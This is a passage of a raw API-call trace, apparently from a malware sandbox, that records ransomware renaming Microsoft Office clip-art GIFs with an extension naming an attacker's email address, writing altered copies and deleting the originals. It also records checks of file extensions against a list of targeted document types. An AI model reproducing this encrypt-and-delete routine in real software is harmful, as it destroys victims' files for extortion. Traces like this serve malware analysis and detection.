Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220 [0050.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.497] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.497] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0050.497] GetLastError () returned 0x0 [0050.497] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x2340, lpOverlapped=0x0) returned 1 [0050.558] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x2350, lpOverlapped=0x0) returned 1 [0050.559] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0050.559] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0050.559] SetEndOfFile (hFile=0x2e0) returned 1 [0050.559] CloseHandle (hObject=0x2e0) returned 1 [0050.560] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.560] SetEndOfFile (hFile=0x320) returned 1 [0050.561] CloseHandle (hObject=0x320) returned 1 [0050.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0050.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0050.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0050.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0050.565] lstrlenW (lpString=".doc") returned 4 [0050.565] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.565] lstrlenW (lpString=".docx") returned 5 [0050.565] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0050.565] lstrlenW (lpString=".pdf") returned 4 [0050.565] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.565] lstrlenW (lpString=".xls") returned 4 [0050.565] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.565] lstrlenW (lpString=".xlsx") returned 5 [0050.565] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0050.565] lstrlenW (lpString=".ppt") returned 4 [0050.565] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0050.566] lstrlenW (lpString=".zip") returned 4 [0050.566] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.566] lstrlenW (lpString=".rar") returned 4 [0050.566] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.566] lstrlenW (lpString=".bz2") returned 4 [0050.566] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.566] lstrlenW (lpString=".7z") returned 3 [0050.566] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0050.566] lstrlenW (lpString=".dbf") returned 4 [0050.566] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0050.566] lstrlenW (lpString=".1cd") returned 4 [0050.566] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0050.566] lstrlenW (lpString=".jpg") returned 4 [0050.566] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0050.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0050.566] lstrlenW (lpString=".doc") returned 4 [0050.566] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.566] lstrlenW (lpString=".docx") returned 5 [0050.566] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0050.566] lstrlenW (lpString=".pdf") returned 4 [0050.566] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.566] lstrlenW (lpString=".xls") returned 4 [0050.566] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.566] lstrlenW (lpString=".xlsx") returned 5 [0050.566] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0050.566] lstrlenW (lpString=".ppt") returned 4 [0050.566] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0050.566] lstrlenW (lpString=".zip") returned 4 [0050.566] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.566] lstrlenW (lpString=".rar") returned 4 [0050.567] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.567] lstrlenW (lpString=".bz2") returned 4 [0050.567] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.567] lstrlenW (lpString=".7z") returned 3 [0050.567] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0050.567] lstrlenW (lpString=".dbf") returned 4 [0050.567] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0050.567] lstrlenW (lpString=".1cd") returned 4 [0050.567] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0050.567] lstrlenW (lpString=".jpg") returned 4 [0050.567] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.567] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0050.567] lstrlenW (lpString="AG00011_.GIF") returned 12 [0050.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.568] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=7216) returned 1 [0050.568] CloseHandle (hObject=0x320) returned 1 [0050.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0x220 [0050.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.568] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.568] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0050.569] GetLastError () returned 0x0 [0050.569] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x1c30, lpOverlapped=0x0) returned 1 [0050.666] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x1c40, lpOverlapped=0x0) returned 1 [0050.667] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0050.667] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0050.667] SetEndOfFile (hFile=0x2e0) returned 1 [0050.667] CloseHandle (hObject=0x2e0) returned 1 [0050.668] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.668] SetEndOfFile (hFile=0x320) returned 1 [0050.669] CloseHandle (hObject=0x320) returned 1 [0050.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0050.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0050.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0050.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0050.671] lstrlenW (lpString=".doc") returned 4 [0050.671] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.671] lstrlenW (lpString=".docx") returned 5 [0050.671] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0050.671] lstrlenW (lpString=".pdf") returned 4 [0050.671] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.671] lstrlenW (lpString=".xls") returned 4 [0050.671] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.671] lstrlenW (lpString=".xlsx") returned 5 [0050.671] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0050.671] lstrlenW (lpString=".ppt") returned 4 [0050.671] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0050.672] lstrlenW (lpString=".zip") returned 4 [0050.672] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.672] lstrlenW (lpString=".rar") returned 4 [0050.672] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.672] lstrlenW (lpString=".bz2") returned 4 [0050.672] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.672] lstrlenW (lpString=".7z") returned 3 [0050.672] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0050.672] lstrlenW (lpString=".dbf") returned 4 [0050.672] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0050.672] lstrlenW (lpString=".1cd") returned 4 [0050.672] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0050.672] lstrlenW (lpString=".jpg") returned 4 [0050.672] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0050.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0050.672] lstrlenW (lpString=".doc") returned 4 [0050.672] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.672] lstrlenW (lpString=".docx") returned 5 [0050.672] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0050.672] lstrlenW (lpString=".pdf") returned 4 [0050.672] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.672] lstrlenW (lpString=".xls") returned 4 [0050.672] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.672] lstrlenW (lpString=".xlsx") returned 5 [0050.672] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0050.672] lstrlenW (lpString=".ppt") returned 4 [0050.672] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0050.672] lstrlenW (lpString=".zip") returned 4 [0050.673] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.673] lstrlenW (lpString=".rar") returned 4 [0050.673] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.673] lstrlenW (lpString=".bz2") returned 4 [0050.673] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.673] lstrlenW (lpString=".7z") returned 3 [0050.673] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0050.673] lstrlenW (lpString=".dbf") returned 4 [0050.673] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0050.673] lstrlenW (lpString=".1cd") returned 4 [0050.673] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0050.673] lstrlenW (lpString=".jpg") returned 4 [0050.673] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.673] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0050.673] lstrlenW (lpString="AG00038_.GIF") returned 12 [0050.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0050.673] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=3251) returned 1 [0050.673] CloseHandle (hObject=0x344) returned 1 [0050.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0x220 [0050.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0050.674] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.674] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0050.674] GetLastError () returned 0x0 [0050.674] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xcb3, lpOverlapped=0x0) returned 1 [0051.103] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xcc0, lpOverlapped=0x0) returned 1 [0051.104] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0051.104] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0051.104] SetEndOfFile (hFile=0x328) returned 1 [0051.104] CloseHandle (hObject=0x328) returned 1 [0051.105] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.105] SetEndOfFile (hFile=0x344) returned 1 [0051.106] CloseHandle (hObject=0x344) returned 1 [0051.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0051.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0051.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0051.106] lstrlenW (lpString=".doc") returned 4 [0051.106] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.106] lstrlenW (lpString=".docx") returned 5 [0051.106] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.106] lstrlenW (lpString=".pdf") returned 4 [0051.106] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.106] lstrlenW (lpString=".xls") returned 4 [0051.106] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.106] lstrlenW (lpString=".xlsx") returned 5 [0051.106] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.106] lstrlenW (lpString=".ppt") returned 4 [0051.106] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0051.107] lstrlenW (lpString=".zip") returned 4 [0051.107] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.107] lstrlenW (lpString=".rar") returned 4 [0051.107] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.107] lstrlenW (lpString=".bz2") returned 4 [0051.107] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.107] lstrlenW (lpString=".7z") returned 3 [0051.107] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0051.107] lstrlenW (lpString=".dbf") returned 4 [0051.107] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0051.107] lstrlenW (lpString=".1cd") returned 4 [0051.107] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0051.107] lstrlenW (lpString=".jpg") returned 4 [0051.107] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0051.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0051.107] lstrlenW (lpString=".doc") returned 4 [0051.107] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.107] lstrlenW (lpString=".docx") returned 5 [0051.107] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.107] lstrlenW (lpString=".pdf") returned 4 [0051.107] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.107] lstrlenW (lpString=".xls") returned 4 [0051.108] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.108] lstrlenW (lpString=".xlsx") returned 5 [0051.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.108] lstrlenW (lpString=".ppt") returned 4 [0051.108] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0051.108] lstrlenW (lpString=".zip") returned 4 [0051.108] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.108] lstrlenW (lpString=".rar") returned 4 [0051.108] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.108] lstrlenW (lpString=".bz2") returned 4 [0051.108] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.108] lstrlenW (lpString=".7z") returned 3 [0051.108] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0051.108] lstrlenW (lpString=".dbf") returned 4 [0051.108] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0051.108] lstrlenW (lpString=".1cd") returned 4 [0051.108] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0051.108] lstrlenW (lpString=".jpg") returned 4 [0051.108] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.108] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.108] lstrlenW (lpString="AG00103_.GIF") returned 12 [0051.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0051.109] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=12702) returned 1 [0051.109] CloseHandle (hObject=0x344) returned 1 [0051.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0x220 [0051.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 